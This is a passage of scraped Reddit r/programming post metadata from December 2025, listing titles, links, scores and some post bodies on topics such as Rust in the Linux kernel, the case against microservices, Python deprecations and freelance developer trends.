  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pmutud",
  "url": "https://open.substack.com/pub/weeklyrust/p/rust-is-officially-part-of-linux?utm_campaign=post-expanded-share&utm_medium=web",
  "permalink": "https://www.reddit.com/r/programming/comments/1pmutud/rust_is_officially_part_of_linux_mainline/",
  "title": "🦀 Rust Is Officially Part of Linux Mainline",
  "body": null,
  "author": "web3writer",
  "subreddit": "programming",
  "score": 730,
  "upvoteRatio": 0.85,
  "numComments": 403,
  "createdAt": "2025-12-15T01:27:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/weeklyrust/p/rust-is-officially-part-of-linux?utm_campaign=post-expanded-share&utm_medium=web",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pmhvsd",
  "url": "https://open.substack.com/pub/sashafoundtherootcauseagain/p/the-case-against-microservices?r=56klm6&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
  "permalink": "https://www.reddit.com/r/programming/comments/1pmhvsd/the_case_against_microservices/",
  "title": "The Case Against Microservices",
  "body": "I would like to share my experience accumulated over the years with you. I did distributed systems btw, so hopefully my experience can help somebody with their technical choices.",
  "author": "01x-engineer",
  "subreddit": "programming",
  "score": 346,
  "upvoteRatio": 0.86,
  "numComments": 153,
  "createdAt": "2025-12-14T16:17:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/sashafoundtherootcauseagain/p/the-case-against-microservices?r=56klm6&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1plq6kw",
  "url": "https://blog.tymscar.com/posts/gleamaoc2025/",
  "permalink": "https://www.reddit.com/r/programming/comments/1plq6kw/i_tried_gleam_for_advent_of_code_and_i_get_the/",
  "title": "I Tried Gleam for Advent of Code, and I Get the Hype",
  "body": null,
  "author": "tymscar",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.67,
  "numComments": 13,
  "createdAt": "2025-12-13T16:59:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tymscar.com/posts/gleamaoc2025/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1plmjiz",
  "url": "https://simpleobservability.com/blog/go-portable-until-isnt",
  "permalink": "https://www.reddit.com/r/programming/comments/1plmjiz/go_is_portable_until_it_isnt/",
  "title": "Go is portable, until it isn't",
  "body": null,
  "author": "brightlystar",
  "subreddit": "programming",
  "score": 66,
  "upvoteRatio": 0.69,
  "numComments": 45,
  "createdAt": "2025-12-13T14:23:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://simpleobservability.com/blog/go-portable-until-isnt",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pjwozt",
  "url": "https://sethmlarson.dev/deprecations-via-warnings-dont-work-for-python-libraries",
  "permalink": "https://www.reddit.com/r/programming/comments/1pjwozt/deprecations_via_warnings_dont_work_for_python/",
  "title": "Deprecations via warnings don’t work for Python libraries",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 430,
  "upvoteRatio": 0.91,
  "numComments": 145,
  "createdAt": "2025-12-11T12:49:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sethmlarson.dev/deprecations-via-warnings-dont-work-for-python-libraries",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pjqogq",
  "url": "https://youtu.be/wRYHOJa9mug",
  "permalink": "https://www.reddit.com/r/programming/comments/1pjqogq/some_thoughts_on_declining_software_quality/",
  "title": "Some Thoughts on Declining Software Quality",
  "body": "This video goes into some specific ideas as to why applications are increasingly lacking in quality and what could be done about it. ",
  "author": "stumblingtowards",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 8,
  "createdAt": "2025-12-11T06:33:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/wRYHOJa9mug",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pjiexo",
  "url": "https://l.perspectiveship.com/re-scale",
  "permalink": "https://www.reddit.com/r/programming/comments/1pjiexo/premature_optimization_is_the_root_of_all_evil_so/",
  "title": "Premature optimization is the root of all evil, so is ignoring scale (mental model)",
  "body": null,
  "author": "dmp0x7c5",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 21,
  "createdAt": "2025-12-10T23:43:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://l.perspectiveship.com/re-scale",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pjgtnz",
  "url": "https://medium.com/@jameshugo598/the-junior-dev-isnt-dead-it-just-became-a-junior-specialists-role-6ef1a0e3d910",
  "permalink": "https://www.reddit.com/r/programming/comments/1pjgtnz/i_analyzed_500_freelance_jobs_in_q4_2025_how_the/",
  "title": "I analyzed 500 freelance jobs in Q4 2025. How the \"Junior Specialist\" is growing",
  "body": "I scraped data from 500 completed contracts on major freelance platforms (Upwork/Toptal) from November 2025 to see what’s going on and I found some interesting stuff.\n\n**My Findings:**\n\n1. **Pure \"Frontend\" is a race to the bottom:** Simple React/HTML/CSS jobs have plummeted in value ($20 – 40/hr) because AI generates UI too well.\n\n\n\n1. **The \"Integration\" Premium:** The highest paying junior-accessible roles ($80+/hr) are now **\"Glue Code\"** jobs. Connecting OpenAI API to Airtable, Stripe to Discord.\n\n \n\n1. **The \"Agentic\" Shift:** Businesses want Agents that run autonomously 24/7.\n\n**The \"Stack\" has changed:**  \nIf you are building a portfolio in late 2025 to get hired, and you are building a \"To-Do List\" or a \"Weather App,\"  or even grinding leetcode, please stop.\n\nRecruiters and Clients want to see:\n\n* **Headless Browsers:** (Playwright/Puppeteer) for data gathering.\n* **Vector DBs:** (Pinecone/Weaviate) for RAG apps.\n* **Webhooks:** Handling real-time data events.\n\nI dive deeper into this on my Medium article about the specific projects that are converting in 2025/26, including a Python snippet for a \"Lead Gen Bot\" that you can use to find your first client.\n\n \n\n ",
  "author": "Peach_Baker",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 5,
  "createdAt": "2025-12-10T22:36:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@jameshugo598/the-junior-dev-isnt-dead-it-just-became-a-junior-specialists-role-6ef1a0e3d910",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pjdcy2",
  "url": "https://www.youtube.com/watch?v=CR3LP2n2dWw",
  "permalink": "https://www.reddit.com/r/programming/comments/1pjdcy2/modern_software_engineering_case_study_of_using/",
  "title": "Modern Software Engineering case study of using Trunk Based Development with Non-blocking reviews.",
  "body": null,
  "author": "martindukz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 50,
  "createdAt": "2025-12-10T20:19:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=CR3LP2n2dWw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pj6huh",
  "url": "https://tritium.legal/blog/outlook",
  "permalink": "https://www.reddit.com/r/programming/comments/1pj6huh/com_like_a_bomb_rust_outlook_addin/",
  "title": "COM Like a Bomb: Rust Outlook Add-in",
  "body": "A short write-up on implementing a COM integration for Outlook in Rust.",
  "author": "urandomd",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.59,
  "numComments": 7,
  "createdAt": "2025-12-10T16:08:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tritium.legal/blog/outlook",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pj586l",
  "url": "https://lwn.net/Articles/1049831/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pj586l/rust_in_the_linux_kernel_is_officially_here_to/",
  "title": "Rust in the Linux kernel is officially here to stay",
  "body": null,
  "author": "NYPuppy",
  "subreddit": "programming",
  "score": 935,
  "upvoteRatio": 0.94,
  "numComments": 250,
  "createdAt": "2025-12-10T15:19:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/1049831/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pixxy9",
  "url": "https://peterlesliemorris.com/seeing-through-the-microservices-hype/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pixxy9/seeing_through_the_microservices_hype/",
  "title": "Seeing through the microservices hype",
  "body": "Imagine two people in a room (2 things in the same process space)\n\nP1 can talk to P2 directly, it is very fast.\n\n1. P1: Have you got any grapes?\n2. P2: No, we only sell lemonade\n\nConverting that to a microservice changes that so that when P1 and P2 wish to negotiate, they have to do this\n\n1. Write their request down on a piece of paper (Serialize request for transportation)\n2. Hand the paper over to someone else (transport protocol – https etc)\n3. The paper is transported to some kind of sorting office (data over network)\n4. The paper is received by the recipient’s building (https server)\n5. The paper is handed to the recipient (the process handling that request)\n\nAnd then the recipient has to reply.\n\nWe are converting nanosecond duration in-process code to millisecond duration out-of-process calls, so thousands of times slower, more complicated to write, more difficult to understand, more difficult to ensure data consistency, and so on.\n\nPeople sell microservices using the following arguments\n\n**Claim: Independently deployable without having to redeploy the whole app**\n\n**Reality**: “The whole app” is a single app, so you normally only deploy 1 app anyway. With microservices, you might have to deploy more than 1 app for a new feature to exist in its entirety instead of just releasing 1.\n\n**Claim: Independent scaling – scale up only the hotspots in your app**\n\n**Reality**: If I have an app with 500 endpoints, and only 2 are being used at the moment but to a level where I need to scale up then my app will scale up and only the same 2 endpoints will be being used. I don’t need to scale different parts of my app separately – and if I do need to do something like that, I can just write Azure Function Apps operating on the same code base and scale those up.\n\n  \n**Claim: Fault isolation/resilience (failures are contained; add circuit breakers, retries).**\n\n**Reality**: These are cures for the problems that implementing microservices introduces. I don’t need most of this stuff for in-process communication.\n\n  \n**Claim: Team autonomy around business capabilities**\n\n**Reality**: If you need this then what you have is different people writing different apps that can benefit from each other. Continue to write different apps. There is no need to call them “microservices”, it has always been a silly name (because they can be huge).\n\n  \n**Claim: Stronger module boundaries & encapsulation**\n\n**Reality**: You can do this in a single app. No need to buy into all the associated problems of microservices just to enforce boundaries.\n\n  \n**Claim: Polyglot freedom**\n\n**Reality**: This is an awful suggestion. If your different apps all do something similar (database updates) then choose the best stack and use it throughout the company. This way you can have people move between departments or cover for sick leave etc. Unless one of the apps does something fundamentally different that is massively easier/more efficient in another language then you should stick to one thing.\n\n  \n**Claim: Faster experimentation/time-to-market**\n\n**Reality**: This is a claim you could just as easily make about writing bad code. It’s quick to experiment and to get to market, but the cost of later maintaining it and building on it is MUCH higher.\n\n  \n**Conclusion**\n\nIf you have “different apps” that can function without each other, then by all means write code to have them integrate with each other to save time (fetching data updates to save users entering data, for example). Don’t make them part of a huge single eco system. I call this a fractured system. It’s really one, but it has been broken up into parts.\n\nDon’t think “this will work independently if another part of the system goes down”, because that’s rarely useful and when it is those parts should be different Azure Functions Apps running off the same business logic as each other.\n\nYou must instead ask yourself “Is app 1 of any use at all if app 2 goes down permanently”, if it isn’t, then app 1 is incomplete.\n\n**Example**\n\nI used to write software for the airline industry.\n\n**App 1**: Engineers would scan sheets with instructions of maintenance tasks into a Db. When a plane came in, they’d look up (on paper) the schedule to see what kind of service it needed, then they’d look in the aircraft manufacturer’s handbook to see which tasks are in it, and then do the work.\n\n**App 2**: An employee would look at the manufacturer’s handbook and decide how often we would actually perform tasks. So instead of performing “check oil” in every service and “mandatory oil replacement” in every 2nd service, the employee might decide to do the mandatory oil replacement every service, thus making the “check oil” redundant. The employee would print out the schedule, have it approved by the aviation authority, and then the company would print out the new schedules for the engineering team to use.\n\nBoth of these apps worked 100% independently.\n\nSo, the next step was that whenever App 2 had its new maintenance schedule approved, it would publish it in a place that App 1 could pick up.\n\nInstead of engineers saying “we are doing an A2 service on aircraft type X, look in the book and see which tasks we need” they could now choose to have the software look up the latest published schedule digitally and simply print out the list of tasks that were due today.",
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 66,
  "createdAt": "2025-12-10T09:02:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://peterlesliemorris.com/seeing-through-the-microservices-hype/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1piwz8t",
  "url": "https://open.substack.com/pub/weeklyrust/p/rust-just-got-safer-ferrocene-lands?r=327yzu&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
  "permalink": "https://www.reddit.com/r/programming/comments/1piwz8t/rust_just_got_safer_ferrocene_lands_new/",
  "title": "🦀 Rust Just Got Safer: Ferrocene Lands New Certification",
  "body": null,
  "author": "web3writer",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.54,
  "numComments": 1,
  "createdAt": "2025-12-10T07:57:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/weeklyrust/p/rust-just-got-safer-ferrocene-lands?r=327yzu&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1piel63",
  "url": "https://www.youtube.com/watch?v=PqkTLhjRV1s",
  "permalink": "https://www.reddit.com/r/programming/comments/1piel63/i_tried_agentic_coding_and_i_hate_it/",
  "title": "I Tried Agentic Coding and I Hate It",
  "body": null,
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 20,
  "createdAt": "2025-12-09T18:06:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=PqkTLhjRV1s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pi4uvl",
  "url": "https://serce.me/posts/2025-12-09-join-oncall-it-will-change-your-life",
  "permalink": "https://www.reddit.com/r/programming/comments/1pi4uvl/join_the_oncall_roster_itll_change_your_life/",
  "title": "Join the on-call roster, it’ll change your life",
  "body": null,
  "author": "SerCeMan",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 30,
  "createdAt": "2025-12-09T11:14:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://serce.me/posts/2025-12-09-join-oncall-it-will-change-your-life",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pi1oxl",
  "url": "https://youtube.com/shorts/5wcPBM0Lw-A",
  "permalink": "https://www.reddit.com/r/programming/comments/1pi1oxl/imagine_if_writing_were_only_for_contracts_legal/",
  "title": "Imagine if writing were only for contracts & legal stuff. That's how we treat programming these days. Sam Aaron shows you the creative side of coding through code-based music (SonicPi).",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 2,
  "createdAt": "2025-12-09T07:47:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtube.com/shorts/5wcPBM0Lw-A",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pi0uvr",
  "url": "https://blog.wilsonb.com/posts/2025-06-06-readable-code-is-unreadable.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pi0uvr/rigorous_nonsense_readable_code_is_unreadable/",
  "title": "Rigorous Nonsense - Readable Code is Unreadable",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 9,
  "createdAt": "2025-12-09T06:54:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.wilsonb.com/posts/2025-06-06-readable-code-is-unreadable.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1phz0gc",
  "url": "https://youtu.be/3eqhtK3hV9A?si=EPf3n736rAeZn4hN",
  "permalink": "https://www.reddit.com/r/programming/comments/1phz0gc/talk_on_strategies_on_how_to_make_c_safer_over/",
  "title": "Talk on strategies on how to make C++ safer over the years by John Lakos.",
  "body": null,
  "author": "germandiago",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.58,
  "numComments": 115,
  "createdAt": "2025-12-09T05:06:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/3eqhtK3hV9A?si=EPf3n736rAeZn4hN",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1phf2f9",
  "url": "http://arxiv.org/abs/2512.03262",
  "permalink": "https://www.reddit.com/r/programming/comments/1phf2f9/is_vibe_coding_actually_insecure_new_cmu_paper/",
  "title": "Is vibe coding actually insecure? New CMU paper benchmarks vulnerabilities in agent-generated code",
  "body": "BREAKING: CMU researchers found that “vibe coding” is insecure.  \nDevelopers are shocked.  \nThe rest of us are shocked that anyone thought vibes counted as a security protocol.\n\nPaper: *“Is Vibe Coding Safe? Benchmarking Vulnerability of Agent-Generated Code in Real-World Tasks”*",
  "author": "LateInstance8652",
  "subreddit": "programming",
  "score": 472,
  "upvoteRatio": 0.88,
  "numComments": 176,
  "createdAt": "2025-12-08T15:19:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://arxiv.org/abs/2512.03262",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ph5ww7",
  "url": "https://maccarita.com/posts/idesaster/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ph5ww7/idesaster_a_novel_vulnerability_class_in_ai_ides/",
  "title": "IDEsaster: A Novel Vulnerability Class in AI IDEs",
  "body": null,
  "author": "Weekly-Ad7131",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 2,
  "createdAt": "2025-12-08T07:00:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://maccarita.com/posts/idesaster/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pgq8vc",
  "url": "https://www.stroustrup.com/JSF-AV-rules.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1pgq8vc/f35_fighter_jets_c_coding_standards/",
  "title": "F-35 Fighter Jet’s C++ Coding Standards",
  "body": null,
  "author": "azhenley",
  "subreddit": "programming",
  "score": 743,
  "upvoteRatio": 0.94,
  "numComments": 229,
  "createdAt": "2025-12-07T18:56:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.stroustrup.com/JSF-AV-rules.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pgm0ry",
  "url": "https://www.youtube.com/watch?v=buBBQ5mXAi8",
  "permalink": "https://www.reddit.com/r/programming/comments/1pgm0ry/aws_reinvent_2025_unleash_rusts_potential_on_aws/",
  "title": "AWS re:Invent 2025 - Unleash Rust's potential on AWS (DEV307)",
  "body": null,
  "author": "_bijan_",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 0,
  "createdAt": "2025-12-07T16:07:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=buBBQ5mXAi8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pghjeg",
  "url": "https://medium.com/@vicxu/designing-a-high-throughput-balance-system-for-exchanges-handling-millions-of-tps-fa647adc5d70?sk=26c7eb3365b46ac18c73b9fb78f65ccb",
  "permalink": "https://www.reddit.com/r/programming/comments/1pghjeg/building_a_milliontps_exchange_balance_system/",
  "title": "Building a Million-TPS Exchange Balance System — Architecture Breakdown + Open-Source Prototype (AXS)",
  "body": "I wrote an article breaking down how a crypto-exchange balance system can reach **100k–1M updates/sec** while keeping correctness and consistency.\n\nI also open-sourced a prototype (**AXS**) implementing the architecture:  \n[https://github.com/vx416/axs](https://github.com/vx416/axs)\n\nThe article covers:\n\n* **What causes performance bottlenecks in high-throughput balance updates?**\n* **How to reach 1M+ updates per second** using event-driven & in-memory designs\n* **How to design a reliable cache layer without sacrificing durability**\n* **How to build a robust event-driven architecture** that behaves like a DB WAL\n* **How to scale from 10M to 100M+ users** through partitioning & sharding\n* **How to achieve zero-downtime deployments & high availability**\n* **How to implement distributed transactions** while reducing microservice integration complexity\n\nArticle link: [https://medium.com/@vicxu/designing-a-high-throughput-balance-system-for-exchanges-handling-millions-of-tps-fa647adc5d70?sk=26c7eb3365b46ac18c73b9fb78f65ccb](https://medium.com/@vicxu/designing-a-high-throughput-balance-system-for-exchanges-handling-millions-of-tps-fa647adc5d70?sk=26c7eb3365b46ac18c73b9fb78f65ccb)",
  "author": "vicxu416",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 2,
  "createdAt": "2025-12-07T12:46:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@vicxu/designing-a-high-throughput-balance-system-for-exchanges-handling-millions-of-tps-fa647adc5d70?sk=26c7eb3365b46ac18c73b9fb78f65ccb",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pges75",
  "url": "https://realpython.com/async-io-python/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pges75/python_asyncio_parallelism_multiprocessing/",
  "title": "Python AsyncIO: Parallelism, Multiprocessing, Concurrency and Threading",
  "body": "Even though the article is mainly about AsyncIO in Python, it does a very good job at explaining various terms used in Concurrency Programming in general and CPU- vs IO-bound processing. Specifically:\n\n* **Parallelism** consists of executing multiple operations at the same time.\n* **Multiprocessing** is a means of achieving parallelism that entails spreading tasks over a computer’s central processing unit (CPU) cores. Multiprocessing is well-suited for CPU-bound tasks, such as tightly bound for loops and mathematical computations.\n* **Concurrency** is a slightly broader term than parallelism, suggesting that multiple tasks have the ability to run in an overlapping manner. Concurrency doesn’t necessarily imply parallelism.\n* **Threading** is a concurrent execution model in which multiple threads take turns executing tasks. A single process can contain multiple threads. Python’s relationship with threading is complicated due to the global interpreter lock (GIL), but that’s beyond the scope of this tutorial.",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 1,
  "createdAt": "2025-12-07T09:59:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://realpython.com/async-io-python/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pgdcus",
  "url": "https://strategizeyourcareer.com/p/goal-setting-for-productive-engineers",
  "permalink": "https://www.reddit.com/r/programming/comments/1pgdcus/goal_setting_for_productive_engineers/",
  "title": "Goal setting for productive engineers",
  "body": null,
  "author": "strategizeyourcareer",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-12-07T08:27:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://strategizeyourcareer.com/p/goal-setting-for-productive-engineers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pf41xp",
  "url": "https://mastodon.social/@susam/115668571178604230",
  "permalink": "https://www.reddit.com/r/programming/comments/1pf41xp/fizz_buzz_in_4_lines_of_css/",
  "title": "Fizz Buzz in 4 lines of CSS",
  "body": null,
  "author": "brightlystar",
  "subreddit": "programming",
  "score": 239,
  "upvoteRatio": 0.9,
  "numComments": 25,
  "createdAt": "2025-12-05T19:21:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mastodon.social/@susam/115668571178604230",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pf02wp",
  "url": "https://piljoong.dev/posts/distributed-id-generation-complicated/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pf02wp/why_id_format_matters_more_than_id_generation/",
  "title": "Why ID Format Matters More Than ID Generation (Lessons from Production)",
  "body": null,
  "author": "piljoong",
  "subreddit": "programming",
  "score": 237,
  "upvoteRatio": 0.93,
  "numComments": 66,
  "createdAt": "2025-12-05T16:49:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://piljoong.dev/posts/distributed-id-generation-complicated/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1peq13p",
  "url": "https://jcarroll.com.au/2025/12/05/haskell-is-a-great-language-for-data-science/",
  "permalink": "https://www.reddit.com/r/programming/comments/1peq13p/haskell_is_a_great_language_for_data_science/",
  "title": "Haskell IS a great language for data science",
  "body": null,
  "author": "ChavXO",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.52,
  "numComments": 12,
  "createdAt": "2025-12-05T08:41:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jcarroll.com.au/2025/12/05/haskell-is-a-great-language-for-data-science/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pekdhi",
  "url": "https://lalitm.com/software-engineering-outside-the-spotlight/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pekdhi/why_i_ignore_the_spotlight_as_a_staff_engineer/",
  "title": "Why I Ignore The Spotlight as a Staff Engineer",
  "body": null,
  "author": "Ordinary_Leader_2971",
  "subreddit": "programming",
  "score": 300,
  "upvoteRatio": 0.91,
  "numComments": 15,
  "createdAt": "2025-12-05T03:18:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lalitm.com/software-engineering-outside-the-spotlight/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pe3cew",
